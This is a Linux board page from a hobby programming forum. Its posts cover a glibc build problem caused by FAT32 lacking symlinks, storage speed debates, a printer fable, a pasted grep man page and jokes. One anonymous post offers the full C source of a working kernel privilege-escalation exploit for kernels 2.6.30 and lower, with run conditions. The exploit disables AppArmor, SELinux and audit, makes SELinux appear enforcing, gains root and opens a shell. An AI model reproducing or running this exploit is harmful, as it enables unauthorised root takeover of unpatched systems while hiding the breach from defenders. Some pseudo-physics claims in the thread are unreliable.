Moderated by: Dean Menezes
Linux Tutorials, Resources and Links Page
Why you should use Windows instead of Linux on your netbookby Anonymous (no login)![]() |
* Too bad the Windows come with Windows 7 Crap Editionby Anonymous (no login) |
And the worst 'virus' ever is a Windows update. Your computer will be running just fine and then a Windows update strikes and something that used to work doesn't work correctly anymore. They should call them, Presto, this time for sure patches. Anyay, if Wndows was good, people wouldn't have to work so much to turn most of the 'features' off. Disable enough of them and you wind up with a 1/2 way decent operating system. Hey, maybe we should make a utility that does disable all those pesky Windows additions, disables updates, messenger, and the like and market it as our own operating system. Of course us getting a cut of their action means we would be prostituting the brand, so maybe we could call our new OS Winhos. Pete |
The Paranoid Schitznofrenic's Guide to the Command Lineby Anonymous (no login)http://ubuntard.com/2009/11/the-paranoid-schizophrenics-guide-to-the-linux-command-line/
Dangerous exploits might turn your power supply into a bomb |
Instead of going at the HD with a chisel, why not turn journaling off? But then the "unplug your computer" trick my cause you to lose some important data -- which I suppose is the reason for the floppies.
Or better yet, just don't get hacked. Now, back to working on my C++ project for school... cd Programming/C++/Da* cd "Project 4" # sings a song falalalalala... ls -- BOOM!!! -- . . . EDIT/addendum: I should've listened to anonymous. :'(
|
* Ubuntu 10.04 will not include the GIMP photo editorby Anonymous (no login) |
|
__open, __close, etc. etc. etc. in libstld.so aren't found linker errors while trying to build glibc.
I searched google for a good ten hours and did not find the solution to my problem, and then I spent about three hours looking through makefiles, source codes, error logs, etc. to try to figure it out. I figured it out. Before I tell you what it is, I'm going to go ahead and say that I know I'm an idiot for spending thirteen hours on a problem when all I had to do was read what the compiler was telling me. I should've had this solved in seconds. However, I am consoled by the fact that there are many other people on google who seem to have this same problem and are having no luck either. I want this solution to be out there (I didn't see the solution on google), and I'm starting here at the QBasic Forum Community Forum's Linux forum. The problem is that I was using a flash drive with a FAT32 file system to compile everything. I was booting from a livecd with ext3, installing to a harddrive with ext3, and doing my compiling on a flash drive with FAT32. When making glibc, symbolic links are created to the libraries (libstld.so, etc.) -- and FAT32 does not support symbolic links. The solution is to not use FAT32 for what you're compiling on. I made another partition on my harddrive and formatted it ext3. I copied all the source codes from my flash drive to there and just started over. Note: I have noticed that another problem has been solved by this. When compiling gcc, I had an error with the dependency PATCHES. It went away after this as well. In short: If you are having a problem compiling glibc, check a little ways above where the errors are displayed. It should give an error like "ln: creating symbolic link ...... operation not permitted." If you see that, then this post is about your problem and the solution. If you don't see that, then try google. There are solutions out there for other problems that can come up while compiling glibc. I hope someone who needs this finds it, and it saves them a long time looking for the solution.
|
You got other stuff to compile before glibc? Surprising!by rpgfan3233 (no login)I'm surprised that anything compiled in spite of the fact that so many packages used on GNU/Linux use symbolic links (symlinks). It makes me wonder why the issue wasn't caught earlier. °~° Thanks for the information. I'm sure it'll help people, though I still question the reason for trying to build on FAT32 in the first place. :P |
* Just use Debian -- no need to compile anything ;-)by qbguy (no login) |
* Not always true...but Debian does rock. Also, it's fun to build things yourself. ^_^by rpgfan3233 (no login) |
http://en.wikipedia.org/w/index.php?title=FAT_filesystem_and_Linux&action=edit
It's slower than using ext2 etc. As, I would imagine, is using a flash disk rather than a hard drive for compilation... |
Exceptby qbguy (no login)"UMSDOS was removed from the Linux 2.6.11 kernel for lack of maintenance." so it is unlikely to be in the kernel you're using. Also, wouldn't the flash drive be faster because it is solid state? |
LOL @ "lack of maintenance. Electricity is fast without being "solid state".by Clippy (no login)I suggest you stick to what you actually can manipulate and comprehend! |
re flash drives: If they use USB 2.0, they'll be running at no more than 480 Mbit/s. On the other hand, SATA 6 Gbit/s is now available. Of course, flash drives have no seek overheads (in fact, high-end solid-state storage has *negative* seek time, since data that's far from other data is likely to be on another chip and can therefore be accessed concurrently) but with the typical fragmentation of FAT32, you still need to issue lots of requests to collect the data you need. While I'm not very confident I would lean towards the hard disk being faster than a USB flash drive. An internal solid-state drive is another matter entirely, those things are astounding. |
SOLID STATE stands for no moving partsby Clippy (no login)Of course solid state CAN be faster! Limitations are usually placed to synchronize the electron speed as it is traveling close to the speed of light otherwise. Chips cannot handle those speeds without burning up. Every year they get faster though.
Unfortunately we cannot see changes in 30 frames per second...let alone the speed of light... so TV was born! |
The story of gnome-cups-managerby Anonymous (no login)gnome-cups-manager
------------------ Once upon a time there was a printer who lived in the woods. He was a lonely printer, because nobody knew how to configure him. He hoped and hoped for someone to play with. One day, the wind passed by the printer's cottage. "Whoosh," said the wind. The printer became excited. Maybe the wind would be his friend! "Will you be my friend?" the printer asked. "Whoosh," said the wind. "What does that mean?" asked the printer. "Whoosh," said the wind, and with that it was gone. The printer was confused. He spent the rest of the day thinking and jamming paper (for that is what little printers do when they are confused). The next day a storm came. The rain came pouring down, darkening the morning sky and destroying the printer's garden. The little printer was upset. "Why are you being so mean to me?" he asked. "Pitter Patter, Pitter Patter," said the rain. "Will you be my friend?" the printer asked shyly. "Pitter Patter, Pitter Patter," said the rain, and then it left and the sun came out. The printer was sad. He spent the rest of the day inside, sobbing and blinking lights cryptically (for that is what little printers do when they are sad). Then one day, a little girl stumbled into the printer's clearing in the woods. The printer looked at this curious sight. He didn't know what to think. The little girl looked up at him. "Will you be my friend?" she asked. "Yes," said the printer. "What is your name?" asked the little girl. "HP 4100TN", replied the printer. "My name is gnome-cups-manager" said the little girl. The printer was happy. He spent the rest of the day playing games and printing documents, for that is what little printers do when they are happy. |
All your base are belong to usby Anonymous (no login)init war dmesg | tail cat bomb > setup nc -l 1337 > signal screen -r main stat gentlemen chown -R us base traceroute destruction cat $HISTFILE | tail -1 echo 0 > /proc/chance/to/survive wget http://ftp.wayne.edu/pub/gnu/time/time-1.7.tar.gz tar -xvf time-1.7.tar.gz cd time-1.7 && ./configure && make su for zig in (*zig*); echo takeoff > zig for great_justice; mv zig . |
* I never understood that quote either, but the image looked goodby (Login burger2227)R |
Man page for GNU grep (for clippy)by Anon (no login)GREP(1) GREP(1) NAMEgrep, egrep, fgrep, rgrep - print lines matching a pattern SYNOPSISgrep [options] PATTERN [FILE...] grep [options] [-e PATTERN | -f FILE] [FILE...] DESCRIPTIONgrep searches the named input FILEs (or standard input if no files are named, or the file name - is given) for lines containing a match to the given PATTERN. By default, grep prints the matching lines. In addition, three variant programs egrep, fgrep and rgrep are avail- able. egrep is the same as grep -E. fgrep is the same as grep -F. rgrep is the same as grep -r. OPTIONS-A NUM, --after-context=NUM Print NUM lines of trailing context after matching lines. Places a line containing -- between contiguous groups of matches. -a, --text Process a binary file as if it were text; this is equivalent to the --binary-files=text option. -B NUM, --before-context=NUM Print NUM lines of leading context before matching lines. Places a line containing -- between contiguous groups of matches. -b, --byte-offset Print the byte offset within the input file before each line of output. --binary-files=TYPE If the first few bytes of a file indicate that the file contains binary data, assume that the file is of type TYPE. By default, TYPE is binary, and grep normally outputs either a one-line mes- sage saying that a binary file matches, or no message if there is no match. If TYPE is without-match, grep assumes that a binary file does not match; this is equivalent to the -I option. If TYPE is text, grep processes a binary file as if it were text; this is equivalent to the -a option. Warning: grep --binary-files=text might output binary garbage, which can have nasty side effects if the output is a terminal and if the termi- nal driver interprets some of it as commands. -C NUM, --context=NUM Print NUM lines of output context. Places a line containing -- between contiguous groups of matches. -c, --count Suppress normal output; instead print a count of matching lines for each input file. With the -v, --invert-match option (see below), count non-matching lines. --colour[=WHEN], --color[=WHEN] Surround the matching string with the marker find in GREP_COLOR environment variable. WHEN may be `never', `always', or `auto' -D ACTION, --devices=ACTION If an input file is a device, FIFO or socket, use ACTION to pro- cess it. By default, ACTION is read, which means that devices are read just as if they were ordinary files. If ACTION is skip, devices are silently skipped. -d ACTION, --directories=ACTION If an input file is a directory, use ACTION to process it. By default, ACTION is read, which means that directories are read just as if they were ordinary files. If ACTION is skip, direc- tories are silently skipped. If ACTION is recurse, grep reads all files under each directory, recursively; this is equivalent to the -r option. -E, --extended-regexp Interpret PATTERN as an extended regular expression (see below). -e PATTERN, --regexp=PATTERN Use PATTERN as the pattern; useful to protect patterns beginning with -. -F, --fixed-strings Interpret PATTERN as a list of fixed strings, separated by new- lines, any of which is to be matched. -f FILE, --file=FILE Obtain patterns from FILE, one per line. The empty file con- tains zero patterns, and therefore matches nothing. -G, --basic-regexp Interpret PATTERN as a basic regular expression (see below). This is the default. -H, --with-filename Print the filename for each match. -h, --no-filename Suppress the prefixing of filenames on output when multiple files are searched. --help Output a brief help message. -I Process a binary file as if it did not contain matching data; this is equivalent to the --binary-files=without-match option. -i, --ignore-case Ignore case distinctions in both the PATTERN and the input files. -L, --files-without-match Suppress normal output; instead print the name of each input file from which no output would normally have been printed. The scanning will stop on the first match. -l, --files-with-matches Suppress normal output; instead print the name of each input file from which output would normally have been printed. The scanning will stop on the first match. --label=LABEL Displays input actually coming from standard input as input com- ing from file LABEL. This is especially useful for tools like zgrep, e.g. gzip -cd foo.gz |grep --label=foo something --line-buffered Use line buffering, it can be a performance penalty. -m NUM, --max-count=NUM Stop reading a file after NUM matching lines. If the input is standard input from a regular file, and NUM matching lines are output, grep ensures that the standard input is positioned to just after the last matching line before exiting, regardless of the presence of trailing context lines. This enables a calling process to resume a search. When grep stops after NUM matching lines, it outputs any trailing context lines. When the -c or --count option is also used, grep does not output a count greater than NUM. When the -v or --invert-match option is also used, grep stops after outputting NUM non-matching lines. --mmap If possible, use the mmap(2) system call to read input, instead of the default read(2) system call. In some situations, --mmap yields better performance. However, --mmap can cause undefined behavior (including core dumps) if an input file shrinks while grep is operating, or if an I/O error occurs. -n, --line-number Prefix each line of output with the line number within its input file. -o, --only-matching Show only the part of a matching line that matches PATTERN. -P, --perl-regexp Interpret PATTERN as a Perl regular expression. -q, --quiet, --silent Quiet; do not write anything to standard output. Exit immedi- ately with zero status if any match is found, even if an error was detected. Also see the -s or --no-messages option. -R, -r, --recursive Read all files under each directory, recursively; this is equiv- alent to the -d recurse option. --include=PATTERN Recurse in directories only searching file matching PATTERN. --exclude=PATTERN Recurse in directories skip file matching PATTERN. -s, --no-messages Suppress error messages about nonexistent or unreadable files. Portability note: unlike GNU grep, traditional grep did not con- form to POSIX.2, because traditional grep lacked a -q option and its -s option behaved like GNU grep's -q option. Shell scripts intended to be portable to traditional grep should avoid both -q and -s and should redirect output to /dev/null instead. -U, --binary Treat the file(s) as binary. By default, under MS-DOS and MS- Windows, grep guesses the file type by looking at the contents of the first 32KB read from the file. If grep decides the file is a text file, it strips the CR characters from the original file contents (to make regular expressions with ^ and $ work correctly). Specifying -U overrules this guesswork, causing all files to be read and passed to the matching mechanism verbatim; if the file is a text file with CR/LF pairs at the end of each line, this will cause some regular expressions to fail. This option has no effect on platforms other than MS-DOS and MS-Win- dows. -u, --unix-byte-offsets Report Unix-style byte offsets. This switch causes grep to report byte offsets as if the file were Unix-style text file, i.e. with CR characters stripped off. This will produce results identical to running grep on a Unix machine. This option has no effect unless -b option is also used; it has no effect on plat- forms other than MS-DOS and MS-Windows. -V, --version Print the version number of grep to standard error. This ver- sion number should be included in all bug reports (see below). -v, --invert-match Invert the sense of matching, to select non-matching lines. -w, --word-regexp Select only those lines containing matches that form whole words. The test is that the matching substring must either be at the beginning of the line, or preceded by a non-word con- stituent character. Similarly, it must be either at the end of the line or followed by a non-word constituent character. Word- constituent characters are letters, digits, and the underscore. -x, --line-regexp Select only those matches that exactly match the whole line. -y Obsolete synonym for -i. -Z, --null Output a zero byte (the ASCII NUL character) instead of the character that normally follows a file name. For example, grep -lZ outputs a zero byte after each file name instead of the usual newline. This option makes the output unambiguous, even in the presence of file names containing unusual characters like newlines. This option can be used with commands like find -print0, perl -0, sort -z, and xargs -0 to process arbitrary file names, even those that contain newline characters. -z, --null-data Treat the input as a set of lines, each terminated by a zero byte (the ASCII NUL character) instead of a newline. Like the -Z or --null option, this option can be used with commands like sort -z to process arbitrary file names. REGULAR EXPRESSIONSA regular expression is a pattern that describes a set of strings. Regular expressions are constructed analogously to arithmetic expres- sions, by using various operators to combine smaller expressions. grep understands three different versions of regular expression syntax: "basic," "extended," and "perl." In GNU grep, there is no difference in available functionality using either of the first two syntaxes. In other implementations, basic regular expressions are less powerful. The following description applies to extended regular expressions; dif- ferences for basic regular expressions are summarized afterwards. Perl regular expressions add additional functionality, but the implementa- tion used here is undocumented and is not compatible with other grep implementations. The fundamental building blocks are the regular expressions that match a single character. Most characters, including all letters and digits, are regular expressions that match themselves. Any metacharacter with special meaning may be quoted by preceding it with a backslash. A bracket expression is a list of characters enclosed by [ and ]. It matches any single character in that list; if the first character of the list is the caret ^ then it matches any character not in the list. For example, the regular expression [0123456789] matches any single digit. Within a bracket expression, a range expression consists of two charac- ters separated by a hyphen. It matches any single character that sorts between the two characters, inclusive, using the locale's collating sequence and character set. For example, in the default C locale, [a-d] is equivalent to [abcd]. Many locales sort characters in dictio- nary order, and in these locales [a-d] is typically not equivalent to [abcd]; it might be equivalent to [aBbCcDd], for example. To obtain the traditional interpretation of bracket expressions, you can use the C locale by setting the LC_ALL environment variable to the value C. Finally, certain named classes of characters are predefined within bracket expressions, as follows. Their names are self explanatory, and they are [:alnum:], [:alpha:], [:cntrl:], [:digit:], [:graph:], [:lower:], [ For example, [[:alnum:]] means [0-9A-Za-z], except the latter form depends upon the C locale and the ASCII character encoding, whereas the former is independent of locale and character set. (Note that the brackets in these class names are part of the symbolic names, and must be included in addition to the brackets delimiting the bracket list.) Most metacharacters lose their special meaning inside lists. To include a literal ] place it first in the list. Similarly, to include a literal ^ place it anywhere but first. Finally, to include a literal - place it last. The period . matches any single character. The symbol \w is a synonym for [[:alnum:]] and \W is a synonym for [^[:alnum]]. The caret ^ and the dollar sign $ are metacharacters that respectively match the empty string at the beginning and end of a line. The symbols \< and \> respectively match the empty string at the beginning and end of a word. The symbol \b matches the empty string at the edge of a word, and \B matches the empty string provided it's not at the edge of a word. A regular expression may be followed by one of several repetition oper- ators: ? The preceding item is optional and matched at most once. * The preceding item will be matched zero or more times. + The preceding item will be matched one or more times. {n} The preceding item is matched exactly n times. {n,} The preceding item is matched n or more times. {n,m} The preceding item is matched at least n times, but not more than m times. Two regular expressions may be concatenated; the resulting regular expression matches any string formed by concatenating two substrings that respectively match the concatenated subexpressions. Two regular expressions may be joined by the infix operator |; the resulting regular expression matches any string matching either subex- pression. Repetition takes precedence over concatenation, which in turn takes precedence over alternation. A whole subexpression may be enclosed in parentheses to override these precedence rules. The backreference \n, where n is a single digit, matches the substring previously matched by the nth parenthesized subexpression of the regu- lar expression. In basic regular expressions the metacharacters ?, +, {, |, (, and ) lose their special meaning; instead use the backslashed versions \?, \+, \{, \|, \(, and \). Traditional egrep did not support the { metacharacter, and some egrep implementations support \{ instead, so portable scripts should avoid { in egrep patterns and should use [{] to match a literal {. GNU egrep attempts to support traditional usage by assuming that { is not special if it would be the start of an invalid interval specifica- tion. For example, the shell command egrep '{1' searches for the two- character string {1 instead of reporting a syntax error in the regular expression. POSIX.2 allows this behavior as an extension, but portable scripts should avoid it. ENVIRONMENT VARIABLESgrep's behavior is affected by the following environment variables. A locale LC_foo is specified by examining the three environment vari- ables LC_ALL, LC_foo, LANG, in that order. The first of these vari- ables that is set specifies the locale. For example, if LC_ALL is not set, but LC_MESSAGES is set to pt_BR, then Brazilian Portuguese is used for the LC_MESSAGES locale. The C locale is used if none of these environment variables are set, or if the locale catalog is not installed, or if grep was not compiled with national language support (NLS). GREP_OPTIONS This variable specifies default options to be placed in front of any explicit options. For example, if GREP_OPTIONS is '--binary-files=without-match --directories=skip', grep behaves as if the two options --binary-files=without-match and --direc- tories=skip had been specified before any explicit options. Option specifications are separated by whitespace. A backslash escapes the next character, so it can be used to specify an option containing whitespace or a backslash. GREP_COLOR Specifies the marker for highlighting. LC_ALL, LC_COLLATE, LANG These variables specify the LC_COLLATE locale, which determines the collating sequence used to interpret range expressions like [a-z]. LC_ALL, LC_CTYPE, LANG These variables specify the LC_CTYPE locale, which determines the type of characters, e.g., which characters are whitespace. LC_ALL, LC_MESSAGES, LANG These variables specify the LC_MESSAGES locale, which determines the language that grep uses for messages. The default C locale uses American English messages. POSIXLY_CORRECT If set, grep behaves as POSIX.2 requires; otherwise, grep behaves more like other GNU programs. POSIX.2 requires that options that follow file names must be treated as file names; by default, such options are permuted to the front of the operand list and are treated as options. Also, POSIX.2 requires that unrecognized options be diagnosed as "illegal", but since they are not really against the law the default is to diagnose them as "invalid". POSIXLY_CORRECT also disables _N_GNU_nonop- tion_argv_flags_, described below. _N_GNU_nonoption_argv_flags_ (Here N is grep's numeric process ID.) If the ith character of this environment variable's value is 1, do not consider the ith operand of grep to be an option, even if it appears to be one. A shell can put this variable in the environment for each com- mand it runs, specifying which operands are the results of file name wildcard expansion and therefore should not be treated as options. This behavior is available only with the GNU C library, and only when POSIXLY_CORRECT is not set. DIAGNOSTICSNormally, exit status is 0 if selected lines are found and 1 otherwise. But the exit status is 2 if an error occurred, unless the -q or --quiet or --silent option is used and a selected line is found. BUGSEmail bug reports to bug-gnu-utils@gnu.org. Be sure to include the word "grep" somewhere in the "Subject:" field. Large repetition counts in the {n,m} construct may cause grep to use lots of memory. In addition, certain other obscure regular expressions require exponential time and space, and may cause grep to run out of memory. Backreferences are very slow, and may require exponential time. GNU Project 2002/01/22 GREP(1) |
* I don't read your stuff anymore! LOLby (Login burger2227)R |
* That's fine, I don't read your stuff either.by Anon (no login) |
Yes you do.by (Login burger2227)R But I did read your post and it seemed to make sense too! Let's try to do more of that! |
DEBIAN PACKAGES FOR LINUX KERNELSby BILLY MAYS!!!! (no login)http://kernel.ubuntu.com/~kernel-ppa/mainline/
LIKE HAVING THE LATEST AND GREATEST LINUX KERNELS BUT HATE COMPILING THEM YOURSELF! WITH UBUNTU KERNEL PERSONAL PACKAGE ARCHIVE YOU CAN HAVE PREBUILT PACKAGE OF LATEST KERNEL!!!!!! |
Exploit that enables root access.by Anon (no login)To run exploit: * Kernel must be version 2.6.30 or lower * mmap_min_addr must be set to zero (if you want to test it, do "echo 0 | sudo tee /proc/sys/vm/mmap_min_addr") This can be bypassed * Must have one or more of the vulnerable protocols enabled in kernel config. (This is probably true if they are using the default distro kernel and not true if they compiled the kernel themselves) Code for exploit: #include <asm/unistd.h> #include <signal.h> #include <stdbool.h> #include <stddef.h> #include <stdint.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/file.h> #include <sys/mman.h> #include <sys/sendfile.h> #include <sys/socket.h> #include <sys/types.h> #include <sys/user.h> #include <sys/personality.h> #include <unistd.h> #define DOMAINS_STOP -1 #define VIDEO_SIZE 4171600 #ifndef IPPROTO_SCTP #define IPPROTO_SCTP 132 #endif #ifndef PF_IUCV #define PF_IUCV 32 #endif #ifndef PX_PROTO_OL2TP #define PX_PROTO_OL2TP 1 #endif const int domains[][3] = { { PF_APPLETALK, SOCK_DGRAM, 0 }, {PF_IPX, SOCK_DGRAM, 0 }, { PF_IRDA, SOCK_DGRAM, 0 }, {PF_X25, SOCK_DGRAM, 0 }, { PF_AX25, SOCK_DGRAM, 0 }, {PF_BLUETOOTH, SOCK_DGRAM, 0 }, { PF_IUCV, SOCK_STREAM, 0 }, {PF_INET6, SOCK_SEQPACKET, IPPROTO_SCTP }, {PF_PPPOX, SOCK_DGRAM, 0 }, {PF_PPPOX, SOCK_DGRAM, PX_PROTO_OL2TP }, {DOMAINS_STOP, 0, 0 } }; int called_from_main = 0; int got_ring0 = 0; int got_root = 0; int eightk_stack = 0; int twofourstyle = 0; static inline unsigned long get_current_4k(void) { unsigned long current = 0; #ifndef __x86_64__ asm volatile ( " movl %%esp, %0;" : "=r" (current) ); #endif current = *(unsigned long *)(current & 0xfffff000); if (current < 0xc0000000 || current > 0xfffff000) return 0; return current; } static inline unsigned long get_current_8k(void) { unsigned long current = 0; #ifndef __x86_64__ asm volatile ( " movl %%esp, %0;" : "=r" (current) ); #endif current &= 0xffffe000; eightk_stack = 1; if ((*(unsigned long *)current < 0xc0000000) || (*(unsigned long *)current > 0xfffff000)) { twofourstyle = 1; return current; } return *(unsigned long *)current; } static inline unsigned long get_current_x64(void) { unsigned long current = 0; #ifdef __x86_64__ asm volatile ( "movq %%gs:(0), %0" : "=r" (current) ); #endif return current; } static unsigned long get_kernel_sym(char *name) { FILE *f; unsigned long addr; char dummy; char sname[256]; int ret; f = fopen("/proc/kallsyms", "r"); if (f == NULL) { f = fopen("/proc/ksyms", "r"); if (f == NULL) { fprintf(stdout, "Unable to obtain symbol listing!\n"); return 0; } } ret = 0; while(ret != EOF) { ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, sname); if (ret == 0) { fscanf(f, "%s\n", sname); continue; } if (!strcmp(name, sname)) { fprintf(stdout, " [+] Resolved %s to %p\n", name, (void *)addr); fclose(f); return addr; } } fclose(f); return 0; } int *audit_enabled; int *selinux_enforcing; int *selinux_enabled; int *sel_enforce_ptr; int *apparmor_enabled; int *apparmor_logsyscall; int *apparmor_audit; int *apparmor_complain; unsigned long *security_ops; unsigned long default_security_ops; unsigned long sel_read_enforce; int what_we_do; unsigned int our_uid; typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred); typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred); _commit_creds commit_creds; _prepare_kernel_cred prepare_kernel_cred; static void give_it_to_me_any_way_you_can(void) { if (commit_creds && prepare_kernel_cred) { commit_creds(prepare_kernel_cred(0)); got_root = 1; } else { unsigned int *current; unsigned long orig_current; unsigned long orig_current_4k = 0; if (sizeof(unsigned long) != sizeof(unsigned int)) orig_current = get_current_x64(); else { orig_current = orig_current_4k = get_current_4k(); if (orig_current == 0) orig_current = get_current_8k(); } repeat: current = (unsigned int *)orig_current; while (((unsigned long)current < (orig_current + 0x1000 - 17 )) && (current[0] != our_uid || current[1] != our_uid || current[2] != our_uid || current[3] != our_uid)) current++; if ((unsigned long)current >= (orig_current + 0x1000 - 17 )) { if (orig_current == orig_current_4k) { orig_current = get_current_8k(); goto repeat; } return; } got_root = 1; memset(current, 0, sizeof(unsigned int) * 8); } return; } static int __attribute__((regparm(3))) own_the_kernel(unsigned long a, unsigned long b, unsigned long c, unsigned long d, unsigned long e) { got_ring0 = 1; if (audit_enabled) *audit_enabled = 0; // disable apparmor if (apparmor_enabled && *apparmor_enabled) { what_we_do = 1; *apparmor_enabled = 0; if (apparmor_audit) *apparmor_audit = 0; if (apparmor_logsyscall) *apparmor_logsyscall = 0; if (apparmor_complain) *apparmor_complain = 0; } // disable SELinux if (selinux_enforcing && *selinux_enforcing) { what_we_do = 2; *selinux_enforcing = 0; } if (!selinux_enabled || selinux_enabled && *selinux_enabled == 0) { // trash LSM if (default_security_ops && security_ops) { if (*security_ops != default_security_ops) what_we_do = 3; *security_ops = default_security_ops; } } /* make the idiots think selinux is enforcing */ if (sel_read_enforce) { unsigned char *p; unsigned long _cr0; asm volatile ( "mov %%cr0, %0" : "=r" (_cr0) ); _cr0 &= ~0x10000; asm volatile ( "mov %0, %%cr0" : : "r" (_cr0) ); if (sizeof(unsigned int) != sizeof(unsigned long)) { /* 64bit version, look for the mov ecx, [rip+off] and replace with mov ecx, 1 */ for (p = (unsigned char *)sel_read_enforce; (unsigned long)p < (sel_read_enforce + 0x30); p++) { if (p[0] == 0x8b && p[1] == 0x0d) { p[0] = '\xb9'; p[5] = '\x90'; *(unsigned int *)&p[1] = 1; } } } else { /* 32bit, replace push [selinux_enforcing] with push 1 */ for (p = (unsigned char *)sel_read_enforce; (unsigned long)p < (sel_read_enforce + 0x20); p++) { if (p[0] == 0xff && p[1] == 0x35) { // while we're at it, disable // SELinux without having a // symbol for selinux_enforcing ;) if (!selinux_enforcing) { sel_enforce_ptr = *(unsigned int **)&p[2]; *sel_enforce_ptr = 0; what_we_do = 2; } p[0] = '\x68'; p[5] = '\x90'; *(unsigned int *)&p[1] = 1; } } } _cr0 |= 0x10000; asm volatile ( "mov %0, %%cr0" : : "r" (_cr0) ); } // push it real good give_it_to_me_any_way_you_can(); return -1; } int pa__init(void *m) { char *mem = NULL; int d; int ret; our_uid = getuid(); if ((personality(0xffffffff)) != PER_SVR4) { mem = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_FIXED | MAP_ANONYMOUS | MAP_PRIVATE, 0, 0); if (mem != NULL) { /* for old kernels with SELinux that don't allow RWX anonymous mappings luckily they don't have NX support either ;) */ mem = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE, MAP_FIXED | MAP_ANONYMOUS | MAP_PRIVATE, 0, 0); if (mem != NULL) { fprintf(stdout, "UNABLE TO MAP ZERO PAGE!\n"); return 1; } } } else { ret = mprotect(NULL, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC); if (ret == -1) { fprintf(stdout, "UNABLE TO MPROTECT ZERO PAGE!\n"); return 1; } } fprintf(stdout, " [+] MAPPED ZERO PAGE!\n"); selinux_enforcing = (int *)get_kernel_sym("selinux_enforcing"); selinux_enabled = (int *)get_kernel_sym("selinux_enabled"); apparmor_enabled = (int *)get_kernel_sym("apparmor_enabled"); apparmor_complain = (int *)get_kernel_sym("apparmor_complain"); apparmor_audit = (int *)get_kernel_sym("apparmor_audit"); apparmor_logsyscall = (int *)get_kernel_sym("apparmor_logsyscall"); security_ops = (unsigned long *)get_kernel_sym("security_ops"); default_security_ops = get_kernel_sym("default_security_ops"); sel_read_enforce = get_kernel_sym("sel_read_enforce"); audit_enabled = (int *)get_kernel_sym("audit_enabled"); commit_creds = (_commit_creds)get_kernel_sym("commit_creds"); prepare_kernel_cred = (_prepare_kernel_cred)get_kernel_sym("prepare_kernel_cred"); mem[0] = '\xff'; mem[1] = '\x25'; *(unsigned int *)&mem[2] = (sizeof(unsigned long) != sizeof(unsigned int)) ? 0 : 6; *(unsigned long *)&mem[6] = (unsigned long)&own_the_kernel; /* trigger it */ { char template[] = "/tmp/sendfile.XXXXXX"; int in, out; // Setup source descriptor if ((in = mkstemp(template)) < 0) { fprintf(stdout, "failed to open input descriptor, %m\n"); return 1; } unlink(template); // Find a vulnerable domain d = 0; repeat_it: for (; domains[d][0] != DOMAINS_STOP; d++) { if ((out = socket(domains[d][0], domains[d][1], domains[d][2])) >= 0) break; } if (out < 0) { fprintf(stdout, "unable to find a vulnerable domain, sorry\n"); return 1; } // Truncate input file to some large value ftruncate(in, getpagesize()); // sendfile() to trigger the bug. sendfile(out, in, NULL, getpagesize()); } if (got_ring0) { fprintf(stdout, " [+] got ring0!\n"); } else { d++; goto repeat_it; } fprintf(stdout, " [+] detected %s %dk stacks\n", twofourstyle ? "2.4 style" : "2.6 style", eightk_stack ? 8 : 4); { char *msg; switch (what_we_do) { case 1: msg = "AppArmor"; break; case 2: msg = "SELinux"; break; case 3: msg = "LSM"; break; default: msg = "nothing, what an insecure machine!"; } fprintf(stdout, " [+] Disabled security of : %s\n", msg); } if (got_root == 1) fprintf(stdout, " [+] Got root!\n"); else { fprintf(stdout, " [+] Failed to get root :( Something's wrong. Maybe the kernel isn't vulnerable?\n"); exit(0); } execl("/bin/sh", "/bin/sh", "-i", NULL); return 0; } void pa__done(void *m) { return; } int main(void) { called_from_main = 1; pa__init(NULL); } |
Emulate Steve Ballmer (CEO of microsoft)by Anon (no login)yes developers | espeak
Explanation: yes developers displays developers over and over. espeak is text to speech. Pipe one into the other and the computer says "developers developers developers developers" .... Reference: http://video.google.com/videoplay?docid=6304687408656696643 http://manpages.ubuntu.com/manpages/karmic/en/man1/espeak.1.html http://manpages.ubuntu.com/manpages/karmic/en/man1/yes.1.html |